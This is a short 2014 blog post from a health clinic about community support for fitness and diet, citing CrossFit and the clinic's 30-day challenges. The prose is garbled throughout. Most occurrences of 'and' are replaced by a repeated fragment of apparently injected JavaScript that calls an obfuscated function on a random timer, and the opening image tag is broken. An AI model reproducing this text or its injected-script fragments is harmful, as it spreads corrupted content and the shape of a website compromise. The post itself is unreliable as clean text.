It Takes A Village To Be Healthy

Posted On : December 16, 2014

his mother" width="245" height="197" />We have all heard the saying “It takes a village to raise a child”. Many of us implement that strategy with our own families. We lean on friends, neighbors, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and family for support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and guidance. It’s a powerful tool for our own sanity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and key to raising happy kids.

But did you ever stop andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wonder how that same concept could benefit your health? Cross fit gyms proved this years ago when it became one of the fastest growing exercise regimes in America. It’s key to success? Take a group of committed people, show them a path to get in the best shape of their life, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and create a community where everyone cheers each other on. No egos. Only a relentless commitment to being better than you were the day before. This philosophy yielded phenomenal results for people. Ask any crossfitter you know, they are in incredible shape!

In the past year, I have watched that same type of community form here at FLC. Many of you gone on a 30-day challenge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then turned around andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and encouraged a loved to do the same. Whole families have cut sugar out of their diet for 30 days. You’ve shared recipes in the wobble room andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on our Facebook page. You’ve encouraged new patients as they go through our rehab steps for the first time. You have transformed your health, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and inspired others to take action with their health. Imagine the lives we could effect if each one of us took our own health seriously andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then committed to changing just one life around us.

I know that the more you surround yourself with people who make health a priority, the easier it is to stay committed to yours. Keep inspiring others. Don’t lose your focus over the holidays. Keep connected to our community here. Watch our FB page for support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ideas to keep your health moving forward.

Together we are powerful. We can do more as a community than as individuals. Together we can change the health of our community. I’m cheering you on!!!!!!